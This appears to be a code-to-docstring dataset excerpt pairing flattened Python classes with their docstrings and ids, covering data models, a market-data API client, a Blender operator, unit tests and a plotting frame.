class ColumnarPicture(): <NEW_LINE> <INDENT> columns = [] <NEW_LINE> def __init__(self, picture, fill=[0, 0, 0]): <NEW_LINE> <INDENT> for index, color in enumerate(picture): <NEW_LINE> <INDENT> column_index = index % GRID_LENGTH <NEW_LINE> while len(self.columns) <= column_index: <NEW_LINE> <INDENT> self.columns.append([]) <NEW_LINE> <DEDENT> self.columns[column_index].append(color) <NEW_LINE> <DEDENT> fill_column = list(fill for _ in range(GRID_LENGTH)) <NEW_LINE> for _ in range(GRID_LENGTH): <NEW_LINE> <INDENT> self.columns.insert(0, fill_column) <NEW_LINE> self.columns.append(fill_column) <NEW_LINE> <DEDENT> <DEDENT> def flatten(self, start_column=0): <NEW_LINE> <INDENT> flat_picture = [] <NEW_LINE> for row in range(GRID_LENGTH): <NEW_LINE> <INDENT> for column in range(start_column, start_column + GRID_LENGTH): <NEW_LINE> <INDENT> flat_picture.append(self.columns[column][row]) <NEW_LINE> <DEDENT> <DEDENT> return flat_picture | turn a list of 64 pixel settings into a two dimensional array padded by two
empty images on each side | 62598fdb956e5f7376df5954 |
class DataFrameWeldLoc: <NEW_LINE> <INDENT> def __init__(self, df): <NEW_LINE> <INDENT> self.df = df <NEW_LINE> <DEDENT> def __getitem__(self, key): <NEW_LINE> <INDENT> if isinstance(key, SeriesWeld): <NEW_LINE> <INDENT> index_expr = grizzly_impl.get_field(self.df.expr, 0) <NEW_LINE> if self.df.is_pivot: <NEW_LINE> <INDENT> index_type, pivot_type, column_type = self.df.column_types <NEW_LINE> index_elem_type = index_type.elemType <NEW_LINE> index_expr_predicate = grizzly_impl.isin(index_expr, key.expr, index_elem_type) <NEW_LINE> return DataFrameWeldExpr( grizzly_impl.pivot_filter( self.df.expr, index_expr_predicate ), self.df.column_names, self.df.weld_type, is_pivot=True ) <NEW_LINE> <DEDENT> <DEDENT> raise Exception("Cannot invoke getitem on an object that is not SeriesWeld") | Label location based indexer for selection by label for dataframe objects.
Attributes:
df (TYPE): The DataFrame being indexed into. | 62598fdbab23a570cc2d5045 |
class Sku(Model): <NEW_LINE> <INDENT> _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'tier': {'key': 'tier', 'type': 'str'}, 'size': {'key': 'size', 'type': 'str'}, 'family': {'key': 'family', 'type': 'str'}, 'model': {'key': 'model', 'type': 'str'}, 'capacity': {'key': 'capacity', 'type': 'int'}, } <NEW_LINE> def __init__(self, name=None, tier=None, size=None, family=None, model=None, capacity=None): <NEW_LINE> <INDENT> super(Sku, self).__init__() <NEW_LINE> self.name = name <NEW_LINE> self.tier = tier <NEW_LINE> self.size = size <NEW_LINE> self.family = family <NEW_LINE> self.model = model <NEW_LINE> self.capacity = capacity | Sku for the resource.
:param name: The sku name.
:type name: str
:param tier: The sku tier.
:type tier: str
:param size: The sku size.
:type size: str
:param family: The sku family.
:type family: str
:param model: The sku model.
:type model: str
:param capacity: The sku capacity.
:type capacity: int | 62598fdb091ae356687051cc |
class BTool_Inters(bpy.types.Operator): <NEW_LINE> <INDENT> bl_idname = "btool.boolean_inters" <NEW_LINE> bl_label = "Brush Intersection" <NEW_LINE> @classmethod <NEW_LINE> def poll(cls, context): <NEW_LINE> <INDENT> return context.active_object is not None <NEW_LINE> <DEDENT> def execute(self, context): <NEW_LINE> <INDENT> Operation(context,"INTERSECT") <NEW_LINE> return {'FINISHED'} | This operator add a intersect brush to a canvas | 62598fdb099cdd3c636756b6 |
class _BooleanPrimitive(_Primitive): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super().__init__("boolean") <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "mplane.model.prim_boolean" <NEW_LINE> <DEDENT> def parse(self, sval): <NEW_LINE> <INDENT> if sval is None or sval == VALUE_NONE: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> elif sval == 'True': <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> elif sval == 'False': <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> elif sval == '1': <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> elif sval == '0': <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise ValueError("Invalid boolean value "+sval) | Represents a real number (floating point).
Uses a Python bool as the native representation.
If necessary, use the prim_boolean instance of this class;
in general, however, this is used internally by Element. | 62598fdb26238365f5fad114 |
class TestTagMgrStats(TestDBBase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> from pyramid.paster import get_app <NEW_LINE> from bookie.tests import BOOKIE_TEST_INI <NEW_LINE> app = get_app(BOOKIE_TEST_INI, 'bookie') <NEW_LINE> from webtest import TestApp <NEW_LINE> self.testapp = TestApp(app) <NEW_LINE> testing.setUp() <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> testing.tearDown() <NEW_LINE> empty_db() <NEW_LINE> <DEDENT> def test_total_ct(self): <NEW_LINE> <INDENT> ct = 5 <NEW_LINE> for i in range(ct): <NEW_LINE> <INDENT> t = Tag(gen_random_word(10)) <NEW_LINE> DBSession.add(t) <NEW_LINE> <DEDENT> ct = TagMgr.count() <NEW_LINE> eq_(5, ct, 'We should have a total of 5: ' + str(ct)) <NEW_LINE> <DEDENT> def test_basic_complete(self): <NEW_LINE> <INDENT> tags = [make_tag() for i in range(5)] <NEW_LINE> [DBSession.add(t) for t in tags] <NEW_LINE> test_str = tags[0].name[0:2] <NEW_LINE> suggestions = TagMgr.complete(test_str) <NEW_LINE> ok_(tags[0] in suggestions, "The sample tag was found in the completion set") <NEW_LINE> <DEDENT> def test_case_insensitive(self): <NEW_LINE> <INDENT> tags = [make_tag() for i in range(5)] <NEW_LINE> [DBSession.add(t) for t in tags] <NEW_LINE> test_str = tags[0].name[0:4].upper() <NEW_LINE> suggestions = TagMgr.complete(test_str) <NEW_LINE> ok_(tags[0] in suggestions, "The sample tag was found in the completion set") | Handle some TagMgr stats checks | 62598fdbab23a570cc2d5046 |
class MISSING_DECIDUOUS(Treatment): <NEW_LINE> <INDENT> def __init__(self, num_teeth): <NEW_LINE> <INDENT> super(MISSING_DECIDUOUS, self).__init__(code=9324, instance_count=num_teeth) | Missing deciduous teeth, where "missing" means where a tooth has been
extracted (between 0 and 12). ULA, ULB, URA, URB, LLA, LLB, LRA, LRB should
be excluded from the count. | 62598fdbad47b63b2c5a7e05 |
class AlphaVantage(object): <NEW_LINE> <INDENT> def __init__(self, api_key='YOUR_API_KEY'): <NEW_LINE> <INDENT> self.api_key = api_key <NEW_LINE> <DEDENT> def _construct_alpha_vantage_symbol_call(self, ticker): <NEW_LINE> <INDENT> return "%s/%s&symbol=%s&outputsize=full&apikey=%s" % ( ALPHA_VANTAGE_BASE_URL, ALPHA_VANTAGE_TIME_SERIES_CALL, ticker, self.api_key ) <NEW_LINE> <DEDENT> def _correct_back_adjusted_prices(self, price_df): <NEW_LINE> <INDENT> final_adj_close = price_df.iloc[-1]['Adj Close'] <NEW_LINE> if final_adj_close > 0.0: <NEW_LINE> <INDENT> final_close = price_df.iloc[-1]['Close'] <NEW_LINE> if not np.allclose(final_close, final_adj_close): <NEW_LINE> <INDENT> adj_factor = final_close / final_adj_close <NEW_LINE> price_df['Adj Close'] *= adj_factor <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def get_daily_historic_data(self, ticker, start_date, end_date): <NEW_LINE> <INDENT> av_url = self._construct_alpha_vantage_symbol_call(ticker) <NEW_LINE> try: <NEW_LINE> <INDENT> av_data_js = requests.get(av_url) <NEW_LINE> data = json.loads(av_data_js.text)['Time Series (Daily)'] <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> print( "Could not download AlphaVantage data for %s ticker " "(%s)...stopping." % (ticker, e) ) <NEW_LINE> return pd.DataFrame(columns=COLUMNS).set_index('Date') <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> prices = [] <NEW_LINE> for date_str in sorted(data.keys()): <NEW_LINE> <INDENT> date = dt.strptime(date_str, '%Y-%m-%d') <NEW_LINE> if date < start_date or date > end_date: <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> bar = data[date_str] <NEW_LINE> prices.append( ( date, float(bar['1. open']), float(bar['2. high']), float(bar['3. low']), float(bar['4. close']), int(bar['6. volume']), float(bar['5. adjusted close']) ) ) <NEW_LINE> <DEDENT> price_df = pd.DataFrame(prices, columns=COLUMNS).set_index('Date').sort_index() <NEW_LINE> self._correct_back_adjusted_prices(price_df) <NEW_LINE> return price_df | Encapsulates calls to the AlphaVantage API with a provided
API key. | 62598fdb099cdd3c636756b7 |
class WhitelistItem(object): <NEW_LINE> <INDENT> swagger_types = { 'id': 'str', 'gate': 'str', 'trigger_id': 'str' } <NEW_LINE> attribute_map = { 'id': 'id', 'gate': 'gate', 'trigger_id': 'trigger_id' } <NEW_LINE> def __init__(self, id=None, gate=None, trigger_id=None): <NEW_LINE> <INDENT> self._id = None <NEW_LINE> self._gate = None <NEW_LINE> self._trigger_id = None <NEW_LINE> if id is not None: <NEW_LINE> <INDENT> self.id = id <NEW_LINE> <DEDENT> self.gate = gate <NEW_LINE> self.trigger_id = trigger_id <NEW_LINE> <DEDENT> @property <NEW_LINE> def id(self): <NEW_LINE> <INDENT> return self._id <NEW_LINE> <DEDENT> @id.setter <NEW_LINE> def id(self, id): <NEW_LINE> <INDENT> self._id = id <NEW_LINE> <DEDENT> @property <NEW_LINE> def gate(self): <NEW_LINE> <INDENT> return self._gate <NEW_LINE> <DEDENT> @gate.setter <NEW_LINE> def gate(self, gate): <NEW_LINE> <INDENT> if gate is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `gate`, must not be `None`") <NEW_LINE> <DEDENT> self._gate = gate <NEW_LINE> <DEDENT> @property <NEW_LINE> def trigger_id(self): <NEW_LINE> <INDENT> return self._trigger_id <NEW_LINE> <DEDENT> @trigger_id.setter <NEW_LINE> def trigger_id(self, trigger_id): <NEW_LINE> <INDENT> if trigger_id is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `trigger_id`, must not be `None`") <NEW_LINE> <DEDENT> self._trigger_id = trigger_id <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, WhitelistItem): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other | NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually. | 62598fdb3617ad0b5ee066f9 |
class ComputeResourceReservationCreateAPI(SwaggerView): <NEW_LINE> <INDENT> parameters = [{ "name": "body", "in": "body", "schema": CreateComputeResourceReservationRequest, "required": True }] <NEW_LINE> responses = { CREATED: { 'description': 'Element containing information about the reserved ' 'resource.', 'schema': ReservedVirtualCompute, }, UNAUTHORIZED: { "description": "Unauthorized", }, FORBIDDEN: { "description": "Forbidden", }, BAD_REQUEST: { "description": "Bad request", }, CONFLICT: { "description": "", }, } <NEW_LINE> tags = ['virtualisedResourceReservation'] <NEW_LINE> operationId = "createComputeReservation" <NEW_LINE> def post(self): <NEW_LINE> <INDENT> return flask.jsonify('Not implemented on OpenStack'), OK | Create Compute Resource Reservation operation.
This operation allows requesting the reservation of virtualised compute
resources as indicated by the consumer functional block. | 62598fdbab23a570cc2d5047 |
class ATDFailureError(ATDError): <NEW_LINE> <INDENT> pass | Exception is raised when ATD box returns failure result to last request | 62598fdb4c3428357761a861 |
class AuthResource(Resource): <NEW_LINE> <INDENT> def _get_url(self, endpoint: str) -> str: <NEW_LINE> <INDENT> return "{}/auth/api/v1/{}".format(self.base_url, endpoint) <NEW_LINE> <DEDENT> def _request(self, url: str, method: str, data: Optional[dict] = None) -> Any: <NEW_LINE> <INDENT> response = self._send_request(url, method, data) <NEW_LINE> status = response.status_code <NEW_LINE> try: <NEW_LINE> <INDENT> content = response.json(parse_float=Decimal) <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> raise FreshBooksError(status, "Failed to parse response", raw_response=response.text) <NEW_LINE> <DEDENT> if status >= 400: <NEW_LINE> <INDENT> error = content.get("error", "Unknown Error") <NEW_LINE> message = content.get("error_description") <NEW_LINE> raise FreshBooksError(status, message, error_code=error, raw_response=content) <NEW_LINE> <DEDENT> if "response" not in content: <NEW_LINE> <INDENT> raise FreshBooksError(status, "Returned an unexpected response", raw_response=response.text) <NEW_LINE> <DEDENT> return content["response"] <NEW_LINE> <DEDENT> def me_endpoint(self) -> Identity: <NEW_LINE> <INDENT> data = self._request(self._get_url("users/me"), HttpVerbs.GET) <NEW_LINE> return Identity(data) | Handles resources under the `/auth` endpoints. | 62598fdb099cdd3c636756b8 |
class tkFrame(Tkinter.Frame): <NEW_LINE> <INDENT> def __init__(self, master, canvas, width=500, height=500, bg='', **kw): <NEW_LINE> <INDENT> Tkinter.Frame.__init__(self, master, width=width, height = height, bg=bg, **kw) <NEW_LINE> if isinstance(canvas, pxdislin.Canvas): <NEW_LINE> <INDENT> self.canvas = canvas <NEW_LINE> <DEDENT> elif isinstance(canvas, pxdislin.PlotObject): <NEW_LINE> <INDENT> self.canvas = pxdislin.Canvas(canvas) <NEW_LINE> self.canvas.plot.axes(centered = 1) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise DislinException('Non-Canvas or Plot object passed to tkdislin.tkFrame') <NEW_LINE> <DEDENT> self.get_init_values() <NEW_LINE> self.canvas.page(scalingmode='full') <NEW_LINE> self.bind('<Configure>', self.redraw) <NEW_LINE> self.bind('<Expose>', self.redraw) <NEW_LINE> <DEDENT> def __del__(self): <NEW_LINE> <INDENT> self.canvas(windowID = self._origid, windowtype=self._origtype) <NEW_LINE> <DEDENT> def get_init_values(self): <NEW_LINE> <INDENT> self._origid = self.canvas.windowID <NEW_LINE> self._origtype = self.canvas.windowtype <NEW_LINE> <DEDENT> def draw_canvas(self): <NEW_LINE> <INDENT> if not self.winfo_ismapped(): <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> handle = self.winfo_id() <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> self.canvas(windowID = handle, windowtype = 'window') <NEW_LINE> self.canvas.draw() <NEW_LINE> <DEDENT> def redraw(self, event=None): <NEW_LINE> <INDENT> self.draw_canvas() <NEW_LINE> <DEDENT> def update(self): <NEW_LINE> <INDENT> Tkinter.Frame.update(self) <NEW_LINE> self.draw_canvas() | A Frame object modified for drawing disipyl Canvas objects.
Comments:
* Will also except a descendant of PlotObject and instantiate a
disipyl Canvas object as needed. | 62598fdbab23a570cc2d5048 |
class Imports(tables.IsDescription): <NEW_LINE> <INDENT> name = tables.StringCol(30, pos=1) <NEW_LINE> date = tables.StringCol(30, pos=2) <NEW_LINE> datfile = tables.StringCol(50, pos=3) <NEW_LINE> status = tables.StringCol(10, pos=4) | @brief HDF5 table definition for mascot import tracking table | 62598fdb4c3428357761a865 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.